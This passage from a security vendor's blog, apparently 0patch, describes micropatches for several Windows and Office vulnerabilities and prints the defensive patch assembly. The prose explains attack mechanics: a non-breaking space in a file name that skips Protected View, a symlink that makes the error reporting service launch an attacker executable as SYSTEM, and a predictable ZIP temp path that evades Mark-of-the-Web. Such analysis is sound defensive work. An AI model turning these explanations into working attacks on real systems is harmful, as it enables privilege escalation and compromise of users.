We think Microsoft never intended to patch the reported issue due to its "low/none severity" assessment, which we think was wrong because its impact is comparable to the WordPad issue they had patched last month with severity "important".

We think the security dialog that started appearing in Access is part of Microsoft's slow and painful process of gradually restricting malicious macros while not getting hammered by customers whose Office documents they might break along the way. (See here and here for examples.) Microsoft is doing the right but difficult thing here, addressing a very popular attack avenue, and they deserve huge credit for that.

We think that the current macro-blocking logic in Access is flawed: it clearly detects the AutoExec "simple" macro, it tells the user that macros are blocked - but then doesn't block it. Microsoft needs to fix this, but it's not hard to imagine thousands of enterprises using "simple" macros on a daily basis, and thousands of angry calls to the Office PM the next day if they actually start getting blocked. Still, this needs to be fixed this because it's confusing and useless: either don't trip on simple macros, or trip on them and block them.

We expect Microsoft will do something about this all; they will probably fix the macro logic and the dialog, but will they revise the severity of the issue reported by CheckPoint and fix it too?

Maybe they will, maybe they won't - but we did.


Our Micropatch

We pondered on how to address this: shall we fix Microsoft's macro logic so that simple macros will indeed be blocked when the dialog says they would be? If we did, and broke "simple" macros for our users, they would probably blame Microsoft and make angry calls to the surprised Office PM. We don't presume we understand the complex dynamics between a huge software vendor who decades ago made a convenient powerful feature that boosted product usability but has since become a major security risk, and organizations that have this feature embedded in critical processes but can at the same time be seriously harmed because of it.

So we decided on a different approach: we would block database connections from Access to SQL Server on ports 80 and 443. While it is not impossible for some real, legitimate SQL Server to be accessible on port 80/443 and some real, legitimate Access database being linked to it, we think it's realy unlikely. Note that such patch would not block SQL Server connections on port 80/443 from any other client, just Microsoft Access.

"How about other database servers that could be linked to remotely," you ask, "some of them may also support Windows NT authentication and be accessible on arbitrary port?"

Well, the main risk is posed by the ones supported on Windows by default, without a non-default ODBC driver having to be installed on user's computer. And SQL Server is the only one that fits the bill.

This is our micropatch:




MODULE_PATH "..\Affected_Modules\acecore.dll_16.0.16924.20054_64bit_u202311_Office2016_2019_2021_365\acecore.dll"
PATCH_ID 1569
PATCH_FORMAT_VER 2
VULN_ID 7803
PLATFORM win64
       
patchlet_start
 PATCHLET_ID 1
 PATCHLET_TYPE 2
 PATCHLET_OFFSET 0x1955a0
 N_ORIGINALBYTES 5
 JUMPOVERBYTES 0
 PIT msvcrt.dll!wcsstr,msvcrt.dll!_wtoi,acecore.dll!0x195637,shlwapi.dll!StrStrIW

 code_start

  push r15                 ;save the original r15 value
  sub rsp, 0x28            ;create shadowspace
  lea r15, [rbp+0x60]      ;move the connection string pointer to r15
  mov rcx, r15             ;move the connection string pointer to the first argument
  call STR1                ;get the string "SQL Server" to the stack
  db __utf16__('SQL Server'),0,0
 STR1:
  pop rdx                  ;pop the "SQL Server" string pointer from the stack
  call PIT_StrStrIW        ;call case insensetive string search
  cmp rax, 0x0             ;check if SQL Server substring exists
  je SKIP                  ;if not skip the patch
       
 LOOP:                     ;the port searching loop
  mov rcx, r15             ;move the connection string pointer to the first argument
  call STR2                ;load the "," character onto stack
  db __utf16__(','),0,0
 STR2:
  pop rdx                  ;pop the "," character to rdx
  call PIT_wcsstr          ;call wcsstr to search for "," and if found return the addres to rax
  cmp rax, 0x0             ;check if "," was found
  je SKIP                  ;if no matches, we're done
  add rax, 0x2             ;if match was found increment the pointer to string by 1 char
  mov r15, rax             ;move the incremented pointer to r15 for next iteration
  mov rcx, rax             ;move the incremented pointer to the first arg
  call PIT__wtoi           ;convert the string after the "," to a number
  cmp rax, 0x50            ;check if that number is 80 (decimal)
  je BLOCK                 ;if it is, block the connection
  cmp rax, 0x1bb           ;check if that number is 443 (decimal)
  je BLOCK                 ;if it is, block the connection
       
  jmp LOOP                 ;if nothing was found repeat the search
       
 BLOCK:                    ;block the connection
  call PIT_ExploitBlocked  ;popup the Exploit Blocked notification
  add rsp, 0x28            ;clear shadowspace
  pop r15                  ;restore the original r15 value
  jmp PIT_0x195637         ;jump to the error block
       
 SKIP:                     ;skip the patch and continue normal execution
  add rsp, 0x28            ;clear shadowspace
  pop r15                  ;restore the original r15 value

 code_end
    
patchlet_end

 

Let's see our micropatch in action. In the video below we can see attacker's computer on the left and user's computer on the right. The user is running fully updated Office 365. On attacker's computer we can see Wireshark, a network monitoring tool, that is filtered to only show communication with the IP address of user's computer.

First, with 0patch disabled, the user opens a malicious Access file in Microsoft Access, and as described above, a security dialog is displayed informing them that active content in the file has been blocked (we know it wasn't). As the user closes this dialog, the linked database connection is established with attacker's computer on port 80 due to the AutoExec macro being executed.

Next, with 0patch enabled, the user again opens attacker's Access file. This time, as the "blocked active content" security dialog is closed, our patch detects that a connection to a SQL Server is attempted on port 80 and blocks it. It also records an "Exploit blocked" event and shows an alert to the user.



Micropatch Availability

Micropatches were written for the following versions of Microsoft Office with all available Updates installed:

  1. Office 2010*
  2. Office 2013*
  3. Office 2016
  4. Office 2019
  5. Office 2021
  6. Office 365
     
    (* Office 2010 and 2013 were security-adopted by 0patch and are receiving critical security patches from us after their support by Microsoft was terminated.)

    As always, since this is a 0day, our micropatches are part of the 0patch FREE plan, and will remain free until Microsoft has fixed this issue with their official patch.
     
    These micropatches have already been distributed to, and applied on, all online 0patch Agents (unless Enterprise group settings prevented that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them. If you're using Windows or Office that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers. (By the way, still using Windows Server 2012? 0patch has you covered!)

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    We would like to thank Haifei Li with Check Point for sharing the details of this vulnerability, which made it possible for us to create a micropatch for our users.

    To learn more about 0patch, please visit our Help Center.

     

    We Patched CVE-2023-28244 Before It Was Cool

    16 November 2023 at 17:53

    How Our Patch For CVE-2022-33647 Fixed CVE-2023-28244 Five Months In Advance

    By Blaz Satler of 0patch Team


    The Initial Vulnerability - CVE-2022-33647

    In September 2022, Microsoft released patches for CVE-2022-33647, a Kerberos vulnerability that allows a MITM (Man-In-The-Middle) attacker to hijack a user's Kerberos ticket and achieve domain privilege escalation. James Forshaw of Google Project Zero was attributed with the discovery of this issue, and shortly after the issue was fixed also published a writeup on the official Project Zero bug tracking page. James also forked a branch of GhostPacks Rubeus tool and added a sample POC (Proof-of-Concept) code that demonstrated this issue in action and allowed users to check if their KDC (Key Distribution Center) was affected.

    Testing revealed that this issue affected all Kerberos versions that have not configured any restrictions for the use of old cryptographic algorithms, specifically RC4-MD4. This algorithm is particularly dangerous as it contains multiple known vulnerabilities, such as using only the first 8 key bytes for encryption and only 40 bits of randomness in session keys. Such security deficiencies could make you wonder why the algorithm is even allowed to be used in Kerberos. Nevertheless, Kerberos allowed its use by default and also didn't seem to mind being downgraded from a stronger protocol to RC4-MD4 mid-session, which was why the POC worked.

     

    Microsoft's Patch

    We analyzed Microsoft's patches for CVE-2022-33647 and the exploit's execution flow. All signs seemed to point to a patch in kdcsvc.dll, specifically in the KerbInitPreferredCryptList function. This function executes when the KDC service starts which is with the start of lsass.exe. Its job is to initialize the PrefferedCryptList (yes, we know, it's a typo in the code too) variable and two other lists with cryptographic algorithms that the KDC will prefer. Microsoft patched this by not including RC4-MD4 and RC4_HMAC_OLD to these lists. At the time this fix seemed sufficient with the only apparent flaw being that it would only come into effect after the system that applied the patch had been restarted. 

     

    Our Micropatch

    Our own patch, in contrast, needed to be able to protect the system from the moment that the user decided to apply it, so we needed to find a better way of blocking these protocols. During the analysis, we stumbled upon the KerbGetEncTypeBitmask function which supplies bit masks of all supported encryption algorithms to other parts of the code. It has the ability to refuse unknown encryption types, so we decided to take a closer look. Upon further investigation, we found that it was invoked on every request to the KDC, so it made for a perfect candidate for patching this exploit in real time (without a reboot). Our patch was injected at the start of this function and checked if the passed cryptographic algorithm was one of the two that Microsoft had blocked; if it was, we simply executed the "return 0" command which returns KDC_ERR_ETYPE_NOTSUPP ("type not supported"). This had the effect of completely blocking any use of RC4_MD4 and RC4_HMAC_OLD, and our patches were released in October 2022.


    The New Vulnerability - CVE-2023-28244

    6 months later, Microsoft released a fix for another similar vulnerability CVE-2023-28244, acknowledging John Askew with Terrapin Labs as the discoverer. Subsequently John also published a POC on GitHub which seemed eerily similar to James' POC for CVE-2022-33647. Our tests revealed that this new exploit attacked the same RC4-MD4 encryption algorithm but with a slight modification to the AS-REQ packet. This new exploit included a timestamp encrypted with the user's password inside the AS-REQ, which changed the execution flow in kdcsvc.dll.

    This modification caused the exploit to bypass Microsoft's patch that had caught its predecessor. Microsoft's patch only changed how a few crypt lists were initialized, but left some relevant global variables like KdcGlobalSupportedEnctypes unchanged. Although there were other checks in place for unsupported encryption types that were executed later, none of them used the patched PrefferedCryptList variable that was stripped of RC4-MD4 and RC4_HMAC_OLD. This again resulted in RC4-MD4 being used for encrypting the session and tickets.

     


     

    A Pretty Decent Patch

    The micropatch we had released for CVE-2022-33647, on the other hand, proved to be remarkably robust, effectively neutralizing the new, modified exploit. It was particularly gratifying to find that Microsoft's fix for the new vulnerability targeted the same function as our original patch (KerbGetEncTypeBitmask), and closely resembled our own patch for this vulnerability: it removed the validation for RC4-MD4 and RC4_HMAC_OLD encryption algorithms within the KerbGetEncTypeBitmask function, returning a '0' as the function's result when these algorithms were passed to it. This behavior is logically equivalent to our patch.

    Effectively, our patch for CVE-2022-33647 fixed CVE-2023-28244 entire 157 days before it was patched by Microsoft


    Looking for a way to keep using Windows Server 2012 securely, and don't want to purchase expensive Extended Security Updates? Want to protect your legacy Windows 7, Server 2008 R2 machines and Microsoft Office installations with actual security patches that don't even need a computer restart and can get applied or un-applied in seconds? Not objecting to having occasional vulnerabilities fixed before those running still-supported Windows versions? 0patch has your back!

    Learn more about 0patch on our web site, in our Help Center, or contact us at [email protected] for a free trial or demo.


     

    Micropatches Released For Microsoft WordPad Information Disclosure (CVE-2023-36563)

    10 November 2023 at 14:24

     

     

    October 2023 Windows Updates brought a patch for CVE-2023-36563, an "Information Disclosure" vulnerability in WordPad that was found by Microsoft Threat Intelligence as being exploited in the wild. A better name for this vulnerability would be "Coerced authentication" or "Forced authentication", as it falls in the same class of vulnerabilities as various similar issues that we've patched before.

    In any case, the vulnerability allows an attacker to create a Rich Text Format (RTF) document which, when opened by the victim in WordPad*, sends user's NTLM hash to attacker's server - where the attacker can receive it and send it to some other NTLM-enabled service in victim's network to impersonate the victim.

    (* WordPad is the default application for RTF files when Office is not installed.)

    While WordPad warns the user that the document contains potentially harmful remote content, and the user can choose to block such content, WordPad sends out user's NTLM hash before showing this warning - which is a bit out of order, so to speak.

     

    The Vulnerability and the Official Patch

    Two weeks later, security researcher Dillon Franke publish their reverse engineering analysis of this vulnerability. In this article, Dillon describes reverse engineering Microsoft's patch and tracing back to the vulnerability. They not only discovered what the issue was but also that Microsoft created new Windows API functions to fix it: the underlying problem turned out to be systemic, namely that simply initializing an OLE object could result in Windows trying to authenticate to a remote server without any way for the initializing application - or its user - to decide whether they were okay with that. Microsoft therefore created new functions that included this functionality using "callback functions", and fixed WordPad by using these new functions instead of the old ones.


    Our Micropatch

    As for our patching this issue, we really didn't want to implement new functions in ole32.dll because our thing is, you know, MICROpatching.

    Instead, we decided to do something different, something that we thing WordPad should have been doing for years now: we implemented Mark-of-the-Web checking in WordPad.

    Mark-of-the-Web (MotW) is a flag that gets set by all major web browsers and mail clients on Windows on all files that originate from the Internet, and allows applications opening such files to alert the user about opening a potentially harmful document. Most major document-handling applications on Windows check the MotW and do something about it, but WordPad never got this feature.

    We decided that implementing a MotW check in WordPad would not only provide effectively identical level of protection against the issue at hand as Microsoft's patch, but would also show users a security alert for any other malicious document originating from the Internet. We consider this a good thing.

    Let's see our micropatch in action. On the left side of the screen is the victim's computer, vulnerable to CVE-2023-36563, where the user is about to open attacker's RTF document. On the right side is the attacker's server running a tool that is waiting to collect user's NTLM hash. Without 0patch, opening the RTF document results in attacker's server receiving user's NTLM hash even before WordPad shows the security warning. With 0patch, a new "Mark-of-the-Web" warning is shown to the user upon opening the document, and if the user decides not to proceed with opening the document, no NTLM hash is sent to attacker's server.



    Micropatch Availability

    Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v21H1 
    2. Windows 10 v20H2
    3. Windows 10 v2004
    4. Windows 10 v1909
    5. Windows 10 v1809
    6. Windows 10 v1803 
    7. Windows 7 (without ESU, with years 1, 2 or 3 of ESU)
    8. Windows Server 2008 R2 (without ESU, with years 1, 2 or 3 of ESU)
     
    Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    We would like to thank Dillon Franke for sharing their analysis, which made it possible for us to create a micropatch for this issue.

    To learn more about 0patch, please visit our Help Center.

     

    Micropatches Released For Microsoft Office Security Feature Bypass (CVE-2023-33150) - Plus a Small 0day

    24 October 2023 at 14:30

     

    In July 2023, Microsoft released a patch for CVE-2023-33150, a vulnerability in Microsoft Office that allowed an attacker to create a malicious Word document which would not open in Protected View even though it had the Mark-of-the-Web ("MotW") set.

    The first public detail about this vulnerability came from security researcher Eduardo B. Prado, noting that adding a non-breaking space character to the end of a Word document's extension prevents Word from opening the document in Protected View.

    Subsequently, Will Dormann published his own research. Will noticed that in the process of opening a file with a non-breaking space in the extension, Word at some point - after normalizing the file path - tried to find the Mark-of-the-Web in a file without the non-breaking space, and failed because no such file existed. Using a flawed logic "no file, no Mark-of-the-Web", Word then decided that it was safe to open the document without Protected View.

    To illustrate the issue, suppose a downloaded malicious file with Mark-of-the-Web is named PoC.doc<nbsp>, whereby <nbsp> denotes a non-breaking space. (One can create such file manually by editing the name of the file, placing the cursor at the end of the file name, holding down Alt and typing 255 on the numeric keypad.) Opening such file in Word would lead to Word normalizing the file name at some point (which removes the non-breaking space), and trying to read Mark-of-the-Web from PoC.doc. Since this file does not exist, Word would assume there was no Mark-of-the-Web, even though this mark existed on the malicious file. Believing there was no Mark-of-the-Web, Word would open the file without Protected View.

    Microsoft's patch fixed this flawed logic: fully updated Word now still tries to open the file without the trailing non-breaking space, still fails (of course, such file is not there), but then defaults to "Mark-of-the-Web is present" and opens the document in Protected View.

    The following video demonstrates the vulnerability on fully updated Office 2013, and shows that 0patch removes it. A PoC.doc file on the desktop has the Mark-of-the-Web and also has a non-breaking space appended to the end of the file name. Opening such file doesn't automatically launch Word, because this exact file extension is not associated with any application, but Windows very friendly offer Microsoft Word as the most likely candidate for opening the file. Word then opens this file without Protected View. With 0patch enabled, opening the same file results in the file being opened in Protected View.

     


     

    Since users of Office 2010 and 2013 didn't receive Microsoft's patch for this issue, we created our own micropatches for these versions that fix CVE-2023-33150. All PRO and Enterprise users had these patches automatically applied without even having to relaunch Word.

    And now, the 0day....

     


    While working on the above vulnerability and its patch, our researchers noticed something strange in the patched version of Word. While Microsoft's patch for CVE-2023-33150 changed the flawed logic of "no file, no Mark-of-the-Web" to a more secure "no file, yes Mark-of-the-Web", the underlying assumption in both cases was that there was no file.

    In our tests, while frequently moving, copying and renaming files, fully patched Word sometimes behaved strangely, seemingly randomly not opening the file in Protected View when it should have. It turned out there is another flaw in the other half of the above logic: the half where a file without the non-breaking space at the end happens to exist.

    What happens in that case? Well, Word tries to read the Mark-of-the-Web from it and uses it for deciding whether to open the file in Protected View or not.

    Suppose we have, like before, a malicious file with the Mark-of-the-Web named PoC.doc<nbsp>: a fully patched Word correctly opens it in Protected View. Suppose we then place another file named PoC.doc next to it without the Mark-of-the-Web and open the first file with Word: Word checks PoC.doc for Mark-of-the-Web and, not finding it, opens the malicious file without Protected View.

    Is this a security issue? Let's discuss exploitability. 

    Could the attacker who tricked the user into opening a malicious PoC.doc<nbsp> (a file with Mark-of-the-Web) also plant PoC.doc (without Mark-of-the-Web) next to it to make Word open the former without Protected View? If they could, they might as well just plant PoC.doc and have the user open it for the same effect without having to exploit anything.

    Alternatively, could the attacker plant a malicious MeetingMinutes.doc<nbsp> (a file with Mark-of-the-Web) next to a previously existing, legitimate MeetingMinutes.doc (without Mark-of-the-Web) on user's computer? Potentially yes: our best attack scenario is for the user to have downloaded a Word document from an intranet web server, which would end up in the Downloads folder without Mark-of-the-Web. The attacker would then trick the user to open MeetingMinutes.doc<nbsp> from their own web server on the Internet, which would result in Word opening this file from the Downloads folder, but would read the Mark-of-the-Web from the legitimate MeetingMinutes.doc, and decide to open the malicious file without Protected View.

    This is arguably a pretty far-fetched scenario, and perhaps someone else will think of a better one. With this in mind we reported the issue to Microsoft and expect it to be fixed soon, but did not wait with publication due to very limited exploitability. We did, however, write a micropatch for all supported Word versions (Word 2016, 2019, 2021 and 365) and made it freely available until Microsoft has provided their official fix. Our CVE-2023-33150 patches for Word 2010 and 2013 also fix this vulnerability on these Office versions.

    The following video demonstrates the vulnerability and how our patch removes it.



    Micropatch Availability

    Micropatches were written for the following versions of Microsoft Office with all available updates installed:

    1. Office 2010 (PRO or Enterprise license required)
    2. Office 2013 (PRO or Enterprise license required)
    3. Office 2016 (free until Microsoft provides an official patch)
    4. Office 2019 (free until Microsoft provides an official patch)
    5. Office 2021 (free until Microsoft provides an official patch)
    6. Office 365 (free until Microsoft provides an official patch)
     
     
    Micropatches have already been distributed to, and applied on all computers with registered 0patch Agents, unless Enterprise group settings prevent that. 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    We would like to thank Eduardo B. Prado and Will Dormann for sharing their knowledge, which made it possible for us to create a micropatch for this issue.

    To learn more about 0patch, please visit our Help Center.

     

    0patch Security-Adopts Windows 11 v21H2 Home and Pro to Keep it Running Securely

    18 October 2023 at 15:10

     


     

    This October brought the last security updates for Windows 11 version 21H2 Home and Pro versions. Windows 11 require a Trusted Platform Module (TPM) 2.0 to be present on the computer, but for some time, it was possible to install Windows 11 version 21H2 without TPM. Many users have done that and now that this version went out of support, they cannot upgrade to Windows 11 v22H2, and thus cannot receive future security fixes. While many modern CPU versions are supported by Windows 11, computers with unsupported CPU versions are still happily doing their work in large numbers around the World.

    To keep these computers secure, we security-adopted Windows 11 v21H2 and will provide critical security patches for it from this month on, for at least one year (and longer if there is sufficient demand).

    We have previously security-adopted many other Windows versions, including Windows Server 2012, which has also reached its end of support this month.

    If you're running Windows 11 v21H2, all you need to do is install 0patch Agent on the computer and register it to an account with PRO or Enterprise subscription, and you'll start receiving critical security patches as soon as we issue them. In order to have our micropatches applied, Windows 11 v21H2 will have to have October 2023 Windows Updates (the last official updates for this version) installed.

    These micropatches will be included in 0patch PRO and Enterprise licenses along with all other micropatches we're issuing - which means that users protecting their Windows 11 v21H2 with 0patch will also receive our micropatches for "0day" vulnerabilities in various products.

    We welcome all interested organizations to contact [email protected] for information about pricing, deployment, or setting up a trial.

    To learn more about 0patch, please visit our Help Center.

     

    Micropatches Released For Two Windows CNG Key Isolation Service Vulnerabilities (CVE-2023-28229, CVE-2023-36906)

    9 October 2023 at 17:18

     


    Last month, security researcher @k0shl of Cyber Kunlun published a proof-of-concept for CVE-2023-28229, an elevation of privilege vulnerability in CNG Key Isolation Service. The same POC also demonstrated exploitation of CVE-2023-36906, an information disclosure vulnerability in the same service discovered by the same researcher.

    Microsoft had previously provided fixes for these issues in April and August 2023, respectively. According to CISA, CVE-2023-28229 was found to be exploited in the wild.

     

    CVE-2023-28229

    This bug is a race condition in the Key Isolation service running in lsass.exe that allows an attacker to use already-freed memory inside a structure. Its root cause is flawed critical section management that protects heap-based data structures from concurrent access but for some reason excludes reference counter initializations and updates. When a user spawns many concurrent threads that call SrvCryptCreatePersistedKey and SrvCryptFreeKey, these threads eventually cause the execution of said functions such that a key data structure is freed in one thread but then still used in another thread by calling the structure destructor method from already deallocated vftable

    Microsoft patched this bug in April 2023, and their patch included relocating several critical sections over various pieces of code. Our approach to patching this issue was more minimalistic as we only switched two instructions to place the increasing of the reference counter in function SrvAddKeyToList inside the critical section. It was our assessment that this very instruction was the most critical enabler of exploitability.

    During the analysis, we also noticed that this bug doesn't affect Windows 7 and Server 2008 R2 systems as the relevant code in keyiso.dll is completely different there and does not use critical sections in the same way as in newer versions of Windows.

    Source code of our patch:



    MODULE_PATH "..\AffectedModules\keyiso.dll_10.0.19041.388_Win10-2004_64-bit_u2021-12\keyiso.dll"
    PATCH_ID 1509
    PATCH_FORMAT_VER 2
    VULN_ID 7723
    PLATFORM win64
           
    patchlet_start
        PATCHLET_ID 1
        PATCHLET_TYPE 2
        PATCHLET_OFFSET 0x2d2f
        N_ORIGINALBYTES 5
        JUMPOVERBYTES 16                       ; remove these two instructions
        PIT ntdll.dll!RtlLeaveCriticalSection
        
        code_start
           
            lock inc dword[rdi+0x8]            ; and re-add them in the reverse order
            call PIT_RtlLeaveCriticalSection
           
        code_end
        
    patchlet_end


    CVE-2023-36906

    This information disclosure issue stems from the way the Key Isolation Service implements SetProviderProperty and GetProviderProperty functions. When calling SetProviderProperty, the attacker can specify a string of some length, but can then request its value using GetProviderProperty specifying a larger length.When this happens, the Key Isolation Service reads the referenced buffer without any additional checks and reveals the content of memory beyond the designated buffer. This allowed the POC to obtain an internal object address, which it can then use to exploit  CVE-2023-28229 in a more reliable way.

    Microsoft's patch for this issue added a forced zero-termination of the user-supplied string such that subsequent reading from the buffer could not extract information beyond the bounds of the buffer.

    We chose a similar but more minimalistic approach by setting the HEAP_ZERO_MEMORY flag to the RtlAllocateHeap call, causing the allocated space to be initialized with zeroes.

    Source code of our patch:
     
     

    MODULE_PATH "..\AffectedModules\ncryptprov.dll_10.0.19041.2193_Win10-21H1_64-bit_u2022-12\ncryptprov.dll"
    PATCH_ID 1519
    PATCH_FORMAT_VER 2
    VULN_ID 7795
    PLATFORM win64
           
    patchlet_start
        PATCHLET_ID 1
        PATCHLET_TYPE 2
        PATCHLET_OFFSET 0x6bf6
        N_ORIGINALBYTES 5
        JUMPOVERBYTES 0
                
        code_start
            add r8, 0x2   ; increase the size of the allocated buffer
            mov edx, 0x8  ; set the HEAP_ZERO_MEMORY flag for the upcoming
                          ; RtlAllocateHeap  call
        code_end
    patchlet_end

     

    Micropatch Availability

    Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v21H1 
    2. Windows 10 v20H2
    3. Windows 10 v2004
    4. Windows 10 v1909
    5. Windows 10 v1809
    6. Windows 10 v1803
     
    We were unable to reproduce this issue on Windows 7 and Server 2008 R2, and believe it is not exploitable there.
     
    Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    We would like to thank @k0shl of Cyber Kunlun for sharing their proof of concept, which made it possible for us to create a micropatch for this issue.

    To learn more about 0patch, please visit our Help Center.

     

    Micropatches Released For Windows Error Reporting Service Elevation of Privilege (CVE-2023-36874)

    13 September 2023 at 15:39

      

    With July 2023 Windows Updates, Microsoft brought a fix for CVE-2023-36874, a local privilege escalation vulnerability in Windows Error Reporting Service that was found both by Google TAG and CrowdStrike to be exploited in the wild in the previous month.

    When security researcher Filip Dragovic released a proof of concept for this issue, we could reproduce it and start working on a patch.


    The Vulnerability

    In short, the Windows Error Reporting Service has a number of functions exposed via its RPC interface, so a local process can ask it to submit a chosen error report via function SubmitReport. This function impersonates the calling process' user and at some point launches wermgr.exe, one of the WER executables. Normally, wermgr.exe would be launched from C:\Windows\System32\, but since the service is impersonating the caller (i.e., the attacker), the CreateProcess function honors any symbolic links the caller may have in place. The attacker can, for instance, create a symbolic link mapping C:\ to an arbitrary location such as C:\Users\public\test , which will be used by the CreateProcess call. Consequently, the WER service would launch C:\Users\public\test\Windows\System32\wermgr.exe, attacker's executable with the same name - and according to the documented behavior of CreateProcess, the executable would be launched with the token of the service (not the impersonation token). In other words: as Local System.

     

    The Official Patch

    Microsoft's fix for this issue was very simple: they effectively disabled the SubmitReport function by immediately returning error "Not implemented" (0x80004001). This means that it is no longer possible to submit an error report via RPC - and perhaps this was never really needed anyway.


    Our Micropatch

    Our micropatch is logically identical to Microsoft's, and produces the same behavior.



    MODULE_PATH "..\AffectedModules\wercplsupport.dll_10.0.17134.1967_Win10-1803_32-bit_u2021-05\wercplsupport.dll"
    PATCH_ID 1488
    PATCH_FORMAT_VER 2
    VULN_ID 7774
    PLATFORM win32
           
    patchlet_start
        PATCHLET_ID 1
        PATCHLET_TYPE 2
        PATCHLET_OFFSET 0x82ac
        N_ORIGINALBYTES 5
        JUMPOVERBYTES 0
        PIT wercplsupport.dll!0x82eb        
        code_start
            
            mov eax, 80004001h   ; Error code for "Not Implemented"
            jmp PIT_0x82eb       ; Jump directly to end of function
           
        code_end
    patchlet_end

     

    Let's see our micropatch in action. With 0patch disabled, the POC manages to create a new user "test" on the computer by launching a fake C:\Users\public\test\Windows\System32\wermgr.exe. With 0patch enabled, the POC fails to do that because wermgr.exe is not being launched from function SubmitReport at all.



    Micropatch Availability

    Micropatches were written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v21H1 
    2. Windows 10 v20H2
    3. Windows 10 v2004
    4. Windows 10 v1909
    5. Windows 10 v1809
    6. Windows 10 v1803
     
    We were unable to reproduce this issue on Windows 7 and Server 2008 R2, and believe it is not exploitable there.
     
    Micropatches have already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    We would like to thank Filip Dragovic for sharing their proof of concept, which made it possible for us to create a micropatch for this issue.

    To learn more about 0patch, please visit our Help Center.

     

    Micropatches Released For Windows Search Remote Code Execution (CVE-2023-36884)

    6 September 2023 at 16:16

     


    Alongside July 2023 Windows Updates, Microsoft revealed the existence of a 0day that was detected in the wild and assigned it CVE-2023-36884. Without issuing a patch, they titled their original advisory "Office and Windows HTML RCE vulnerability" as exploitation was performed using malicious Word documents, and provided workarounds that could block exploitation.

    Very little information was publicly available and exploit samples that were referenced by those who claimed to be in the know seemed convoluted, comprising numerous exploits of old known vulnerabilities. The main source of useful information was security researcher Will Dormann who invested a great deal of effort in publicly dissecting many of these samples and reviewing numerous sources to meticulously separate the wheat from the chaff (see his super long Twitter thread).

    In absence of sufficient information on the vulnerability itself, we initially decided to issue a patch that  implemented one of the most effective workarounds recommended by Microsoft - the FEATURE_BLOCK_CROSS_PROTOCOL_FILE_NAVIGATION mitigation for all Office executables. This patch - free for everyone as the issue was still an unpatched 0day - enabled said workaround on all 0patch customers' computers so they didn't have to do that manually (or even know about this 0day).

     

    The Official Patch

    In August, Microsoft finally provided a patch for CVE-2023-36884, and updated their advisory to reveal that the issue lied in Microsoft Search and that "An attacker can plant a malicious file evading Mark of the Web (MOTW) defenses which can result in code execution on the victim system."

    This, combined with Will's analysis of the changed behavior in Windows ZIP file extraction (mostly the latter, really), led us to conclusion that Microsoft's patch for CVE-2023-36884 was focused on randomizing the temporary path where files from a ZIP archive are extracted. Before the August update, a file.txt file opened directly from an archive.zip ZIP file would be extracted to a location like:

    C:\Users\username\AppData\Local\Temp\Temp1_archive.zip\file.txt

    For a local exploit script running on user's computer this is a predictable location, and if extraction process was terminated by exploit code at the right time, Windows would not put the Mark of the Web (MotW) on the file even if the ZIP file came from the Internet and should not be trusted. The absence of this mark on the extracted file would later result in no security warning when the file was opened. (In the actual exploit, the extracted file would be an executable launched without any warning.)

    After the August Windows Update, file extraction was different. The same file would be extracted to this location:

    C:\Users\username\AppData\Local\Temp\Temp1710d72f-7438-40d0-be9b-52f7e0651fe9_archive.zip\file.txt

    Whereby the added GUID part is random and different each time. This blocks exploitation because the exploit code cannot guess the correct path of the extracted file and can therefore not launch it.

    We located Microsoft's patch that introduced this change in zipfldr.dll, inside the CTempFileNameArray::_TryCreatingInPath function.

     


     

    Our Micropatch

    Our micropatch is logically identical to Microsoft's, and produces the same behavior with extracted files.



    PATCH_ID 1487
    PATCH_FORMAT_VER 2
    VULN_ID 7772
    PLATFORM win64
           
    patchlet_start
        PATCHLET_ID 1
        PATCHLET_TYPE 2
        PATCHLET_OFFSET 0x18514
        N_ORIGINALBYTES 5
        JUMPOVERBYTES 5
        PIT zipfldr.dll!0x180a0,zipfldr.dll!0x186ad,rpcrt4.dll!UuidCreate,rpcrt4.dll!RpcStringFreeW,rpcrt4.dll!UuidToStringW
        ;zipfldr.dll!0x180a0 __int16 *ConstructString(HINSTANCE, unsigned int, ...)
        ;zipfldr.dll!0x186ad ErrorBlock
        
        code_start

            sub rsp, 0x50             ;Create shadowspace and 2 variables
           
            mov [rsp+0x48], rcx       ;Save rcx
            mov [rsp+0x40], rdx       ;Save rdx
            mov [rsp+0x38], r9        ;Save r9
           
           
            lea rcx, [rsp+0x28]       ;Move var1 to rcx to receive UUID
